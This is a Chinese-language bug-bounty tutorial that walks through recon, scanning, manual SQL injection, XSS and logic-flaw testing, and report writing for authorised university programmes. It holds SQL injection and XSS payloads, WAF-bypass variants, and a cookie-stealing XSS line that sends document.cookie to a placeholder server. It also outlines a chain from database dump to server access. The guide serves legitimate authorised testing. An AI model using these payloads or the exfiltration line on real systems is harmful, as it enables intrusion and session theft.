从信息收集到报告提交:手把手教你完成漏洞挖掘实战 📅 2026/7/3 14:38:31 1. 项目概述一次完整的漏洞挖掘实战之旅刚入门安全领域尤其是想尝试漏洞挖掘的朋友常常会感到迷茫我该从哪里开始知道了几个漏洞类型但怎么找到目标找到疑似漏洞后又该怎么验证和提交整个过程就像面对一堆散落的拼图知道最终图案很美却不知从何下手。今天我就以一个从业者的视角为你完整拆解一次漏洞挖掘的实战流程从最开始的“两眼一抹黑”到最终成功提交漏洞报告手把手带你走一遍。这个过程不仅适用于教育行业的SRC安全应急响应中心其核心思路和方法论同样可以迁移到其他任何你想测试的合法目标上。我们的目标不是成为“脚本小子”而是理解每一步背后的逻辑建立起属于自己的、可复用的挖掘框架。2. 漏洞挖掘完整流程设计思路2.1 核心流程全景图一次完整的漏洞挖掘绝非漫无目的地乱撞而是一次有计划的“侦察-探测-攻击-收尾”行动。我们可以将其拆解为四个核心阶段形成一个闭环信息收集与目标刻画这是所有后续工作的基石。目标是尽可能全面地描绘出目标的“数字画像”包括它的域名、子域名、IP资产、使用的技术栈、开源组件、甚至员工的邮箱格式等。信息越全面攻击面就暴露得越充分。漏洞探测与验证在收集到的资产和情报基础上使用自动化工具结合手动测试寻找潜在的安全弱点。这里的关键是“验证”工具报的“疑似”漏洞十有八九是误报必须手动复现确认。漏洞利用与深度测试对于确认存在的漏洞需要评估其实际危害。例如一个SQL注入点是只能查询数据还是可以执行系统命令这一步决定了漏洞的严重等级。报告编写与提交用清晰、专业、可复现的语言将你的发现整理成报告提交给目标所属的SRC或相关安全团队。一份好的报告能极大提高审核通过率和漏洞评级。2.2 为什么是这个流程这个流程设计遵循了“由外到内、由浅入深”的原则。信息收集是向外扩张尽可能发现所有入口点漏洞探测是对这些入口点进行初步的“敲门”测试漏洞利用是确认门锁是否真的能被打开以及能打开到什么程度最后报告提交是规范地告知主人“您的门锁有问题”。跳过信息收集直接扫描就像蒙着眼睛在迷宫里乱闯效率极低且容易触碰法律红线。而不经验证就提交报告则是对自己和审核方时间的不尊重。3. 第一阶段深度信息收集实战信息收集是整个流程中最耗时但也最能体现技术差异化的环节。高手和新手的差距往往就在这里拉开。3.1 基础资产发现目标是回答“目标在互联网上到底有哪些东西”域名与子域名枚举工具选择subfinder,amass,assetfinder是当前社区最活跃、效果最好的工具。我通常会用subfinder打头阵因为它速度很快。实操命令示例# 使用subfinder查找子域名 subfinder -d target-university.edu.cn -silent | tee subdomains.txt # 使用amass进行更深入的被动枚举和爬取 amass enum -passive -d target-university.edu.cn -o amass_passive.txt amass enum -active -d target-university.edu.cn -brute -w /path/to/wordlist.txt -o amass_active.txt结果合并与去重将多个工具的结果合并并去除重复项和明显无关的域名如第三方CDN、统计域名。cat subdomains.txt amass_passive.txt amass_active.txt | sort -u final_subdomains.txtIP地址与端口探测解析IP将发现的子域名解析为IP地址注意一个IP可能对应多个域名虚拟主机。cat final_subdomains.txt | dnsx -a -resp-only -silent | sort -u ips.txt端口扫描使用naabu或masscan进行快速全端口扫描再用nmap对开放端口进行服务识别和深度探测。# 快速扫描TOP 1000端口 naabu -l ips.txt -silent -o naabu_ports.txt # 对开放了80,443,8080等Web端口的IP进行HTTP服务探测 cat naabu_ports.txt | grep “:80\|:443\|:8080\|:8443” | cut -d: -f1 | httpx -title -status-code -tech-detect -o web_services.txt注意大规模端口扫描会产生大量网络流量务必控制速率并在获得明确授权如SRC测试范围的范围内进行。对单个目标进行测试时建议使用-p 80,443,8080,8443这样的参数限定常见Web端口。3.2 关键情报挖掘GitHub与网络空间测绘这是将目标“立体化”的关键旨在发现源代码泄露、配置文件、内部系统等隐藏资产。GitHub信息收集核心思路开发人员可能无意中将含有密码、API密钥、内部地址的代码上传到GitHub。我们可以通过搜索语法精准定位。手动搜索语法示例“target-university.edu.cn” password搜索包含该校域名和“password”关键词的代码。“target-university” api_key搜索API密钥。“target-university.edu.cn” config搜索配置文件。site:github.com “target-university” “.git”搜索可能泄露的.git目录。自动化工具辅助GitDorker或truffleHog这类工具可以自动化执行一系列预定义的搜索规则Dorks效率更高。你需要准备一个包含上述搜索语料的文本文件如dorks.txt然后运行工具。实操心得不要只局限于代码仓库Issues、Wiki、Commit历史甚至Gist中都可能藏有宝藏。我曾在一个已关闭的Issue评论里发现运维人员贴出的错误日志里面包含了数据库的连接字符串。网络空间测绘引擎利用工具选择FOFA、Shodan、ZoomEye。FOFA对国内资产收录较好语法也更符合中文习惯是入门首选。核心搜索语法以FOFA为例定位资产domain“target-university.edu.cn”或host“.edu.cn” title“目标大学”。识别技术app“ThinkPHP” domain“.edu.cn”寻找使用特定框架的系统。发现后台title“登录” body“admin” domain“.edu.cn”或icon_hash“-xxx”通过网站图标哈希值查找相同系统。寻找敏感文件domain“target-university.edu.cn” body“phpinfo()”寻找泄露的phpinfo页面。操作流程在FOFA网页端进行初步语法探索找到有效语法后可以考虑使用其API如有权限进行批量查询将结果IP:PORT导出再交给httpx等工具进行存活验证和特征获取。3.3 信息整理与攻击面分析收集来的信息是原始的、杂乱的必须进行整理才能转化为可行动的“攻击面”。资产清单化创建一个表格或笔记至少包含以下字段域名、IP、端口、服务如Nginx 1.18、技术如Vue.js SpringBoot、标题、特殊发现如.git泄露、phpinfo。攻击面归类Web应用主站、各子域名系统教务、OA、图书馆、后台管理系统。非Web服务暴露的Redis、MySQL、MongoDB端口可能未授权访问。框架与组件识别出的ThinkPHP、SpringBoot、Shiro等对应其已知漏洞。敏感信息从GitHub找到的密钥、内部地址。制定测试优先级优先测试那些面向公众或学生的重要系统如选课系统。使用了已知存在漏洞的旧版本框架/组件的系统。存在疑似敏感信息泄露的旁站或子系统。4. 第二阶段漏洞探测与验证手法有了清晰的攻击面地图我们就可以开始“敲门测试”了。这一阶段是自动化工具与手动智慧的紧密结合。4.1 自动化工具辅助扫描定位作为初步的“广撒网”工具用于快速发现低垂果实和共性漏洞。综合漏洞扫描器Nuclei是当下的王者。它拥有社区维护的数千个漏洞检测模板POC覆盖从信息泄露到RCE的各种类型。实操命令# 对之前整理的Web资产进行扫描 cat web_services.txt | nuclei -t /path/to/nuclei-templates/ -o nuclei_results.txt技巧不要一次性使用所有模板可以根据目标技术栈进行筛选。例如目标主要是Java就重点使用-t /path/to/templates/java/下的模板。先使用-severity critical,high参数扫描高危漏洞。专项漏洞扫描目录/文件泄露dirsearch,gobuster。使用强大的字典如SecLists中的字典进行爆破。dirsearch -u https://oa.target-university.edu.cn -e php,asp,aspx,jsp,do,action -w /path/to/big.txt子域名接管subjack或SubOver用于检测已解析到第三方服务如GitHub Pages, AWS S3但该服务账户已失效的子域名可能导致你接管该子域名。重要警告自动化扫描结果尤其是Nuclei和Dirsearch的发现90%以上是误报或无害的发现。你必须手动验证每一个“疑似漏洞”。直接提交工具报告是SRC审核中最忌讳的行为之一很可能导致报告被拒甚至被拉黑。4.2 手动漏洞挖掘核心思路手动测试才是体现功力的地方核心在于理解业务逻辑和输入输出。通用漏洞点手动测试SQL注入在每个输入点URL参数、表单字段、Cookie、HTTP头尝试输入单引号‘、and 11、and 12观察页面响应差异、错误信息。使用时间盲注Payload如and sleep(5)测试。不要使用sqlmap等自动化注入工具进行盲打除非在明确授权的测试中手动测试更精准、更可控。XSS跨站脚本在搜索框、留言板、个人信息等所有输出点尝试scriptalert(1)/script、img src1 onerroralert(1)。重点测试反射型XSS参数直接回显和存储型XSS输入被保存后展示给他人。查看页面源码看输入是否被原样输出或过滤不全。逻辑漏洞这是自动化工具完全无法覆盖的领域。越权登录普通用户A尝试访问、修改、删除用户B的数据通过修改URL中的ID参数。验证码绕过验证码是否前端校验是否可重复使用是否在响应包中直接返回业务顺序绕过能否不支付就确认订单能否跳过某个步骤直接进入下一步密码重置漏洞修改密码时是否可以通过修改请求包中的用户ID参数来重置他人密码验证Token是否可预测针对特定组件的测试如果信息收集发现目标使用ThinkPHP 5.0.x立刻搜索其历史RCE漏洞如5.0.23的RCE构造特定Payload进行测试。如果发现Apache Shiro特征使用ShiroScan等工具测试其反序列化漏洞如Shiro-550, Shiro-721。如果发现Swagger UI接口文档尝试访问/v2/api-docs等路径获取完整的API列表然后对每个API进行未授权访问、参数注入测试。5. 第三阶段漏洞利用与深度利用验证漏洞存在后我们需要评估其真实危害这决定了漏洞的“价值”。5.1 危害评估与证明信息泄露漏洞不仅要证明能读到“aaaa”这样的测试数据更要尝试读取真实数据如数据库名、表名、其他用户的隐私信息需脱敏处理。截图时关键信息可以打码但要能证明数据的真实性。SQL注入尝试使用union select语句查询数据库版本version、当前用户user()、数据库名database()。证明可以获取系统信息而不仅仅是布尔判断。XSS证明弹窗只是第一步。可以构造一个窃取Cookie的Payload例如将Cookie发送到你的接收服务器证明其能造成实际危害。在SRC测试中切勿真的窃取他人Cookie仅证明可行性即可例如scriptdocument.location‘http://your-server.com/steal?cdocument.cookie/script然后在你的服务器日志中查看是否收到请求请求里不含真实Cookie仅证明触发成功。RCE/文件上传尝试执行whoami、id命令或上传一个能输出当前路径的Webshell证明命令执行权限和当前用户身份。绝对禁止进行破坏性操作如rm -rf /、删除数据等。5.2 漏洞链组合思考单个漏洞危害有限但组合起来可能产生质变。案例首先通过信息收集发现一个旧的、存在SQL注入的子系统。利用SQL注入进行拖库获得了后台管理员表的用户名和加密密码。通过分析代码泄露或社会工程学发现密码加密方式很简单如MD5。破解或重置密码后登录后台。在后台又发现一个未鉴权的文件上传点从而获得服务器权限。思路不要孤立地看一个漏洞。一个普通的XSS如果能打到管理员后台就可能结合后台功能形成严重的攻击。一个目录遍历如果能读到配置文件就可能获得数据库密码进而渗透内网。6. 第四阶段报告编写与提交的艺术这是临门一脚报告质量直接关系到漏洞能否被认可和获得奖励。6.1 漏洞报告核心要素一份优秀的漏洞报告就像一份严谨的实验报告必须包含漏洞标题简明扼要如“XX大学教务系统存在未授权访问漏洞”。漏洞等级参考SRC的自定级标准如高危、中危、低危客观自评。漏洞类型SQL注入、XSS、逻辑越权等。影响范围具体的URL、接口、参数或功能模块。详细步骤这是核心必须提供一步步可复现的操作。格式1. 打开URL A。 2. 在输入框B中输入Payload C。 3. 点击按钮D。 4. 观察到现象E附截图。 5. 这证明了F问题。要求清晰到让一个完全不懂安全但懂技术的工作人员能按照步骤复现。漏洞证明截图、视频GIF最佳。截图要包含浏览器地址栏显示完整URL和关键的请求/响应信息。可以使用Burp Suite截取HTTP历史记录但务必整理清晰。修复建议给出具体、可行的修复方案。例如对于SQL注入建议“使用参数化查询Prepared Statement”对于XSS建议“对用户输入进行严格的过滤和输出编码”。其他信息测试使用的浏览器、工具版本等。6.2 提交注意事项与沟通技巧遵守规则仔细阅读目标SRC的漏洞提交范围、评级标准、测试规范。禁止对生产环境进行破坏性测试、DoS攻击、社工攻击、窃取真实数据等。一洞一报一个报告只提交一个漏洞。如果是同一页面的多个类似问题如多个参数都存在XSS可以合并但需逐一列出。文明沟通审核人员可能很忙回复慢或初次评级较低是常事。用证据和逻辑进行友好沟通说明你认为漏洞危害更大的理由而不是争吵。持续跟进报告提交后定期查看状态。如果被要求补充信息及时、详细地补充。7. 常见问题与排查技巧实录在实际操作中你会遇到各种各样的问题。这里记录一些典型的“坑”和解决思路。7.1 信息收集阶段问题子域名枚举工具跑不出结果或结果很少。排查检查目标域名是否有效尝试更换DNS解析服务器如使用8.8.8.8使用amass的-active模式并配合强大的子域名字典检查是否触发了目标的防护策略如频率限制适当调整延迟参数-delay。问题HTTPX探测时大量域名超时或返回异常状态码如429403。排查这可能是目标使用了WAFWeb应用防火墙或速率限制。增加-timeout参数降低并发线程-threads并添加随机延迟-delay。对于403/401可以尝试添加一些常见的请求头如-H ‘User-Agent: Mozilla...‘。7.2 漏洞探测与验证阶段问题手动测试SQL注入时无论输入什么页面都返回相同的错误页面可能是WAF拦截。排查尝试使用混淆技巧。例如将and 11写成anandd 11WAF可能过滤and但拼接后变成and使用注释符分割/*!and*/ 11尝试HTTP参数污染HPP如?id1id2‘ and ‘1‘‘1。观察哪种方式能绕过。问题发现一个疑似存储型XSS的点但输入Payload后前端显示被过滤了。排查查看网页源码看你的输入被如何处理。是直接被删除还是被HTML编码了如变成lt;尝试闭合现有的HTML标签或使用JavaScript事件属性如onmouseover,onfocus或利用SVG标签svg onloadalert(1)。测试大小写、双写、编码绕过如img src1 onerroralert(1)。问题Nuclei扫描报告了一个漏洞但按照报告中的URL和Payload去手动测试却没有复现。排查这是最常见的误报。首先确认你访问的URL和工具测试的URL完全一致包括端口、路径、参数。其次检查Payload是否具有时效性可能漏洞已被修复。最后查看工具的请求响应详情有时工具是根据一个模糊的特征如页面包含某个字符串判断的而这个特征可能正常页面也存在。始终以手动复现为准。7.3 心态与习惯养成保持耐心漏洞挖掘是“枯燥-惊喜”的循环。可能几天甚至几周都没有实质性发现这是常态。持续的信息收集和手动测试总会有收获。做好记录使用笔记软件如Obsidian, Notion或本地文档详细记录每个目标的资产、测试过的点、测试Payload、测试结果。这能避免重复劳动并在发现漏洞链时快速回溯。关注动态跟进安全社区如Seebug、先知、奇安信攻防社区、框架官方漏洞公告、GitHub安全趋势。一个新的公开POC可能就是你的突破口。法律与道德底线始终在合法授权的范围内进行测试。未经授权的测试是违法行为。SRC、众测平台、企业授权的渗透测试是唯一正确的途径。技术是用来防御和建设的不是用来破坏的。漏洞挖掘是一条需要不断学习、实践和总结的道路。这套流程框架为你提供了一个清晰的起点但真正的能力来源于在每个环节的深度思考和大量实践。从今天起选择一个你有兴趣的、在SRC范围内的目标按照这个流程踏出你的第一步吧。记住第一个漏洞无论大小都将是你在安全道路上最重要的里程碑。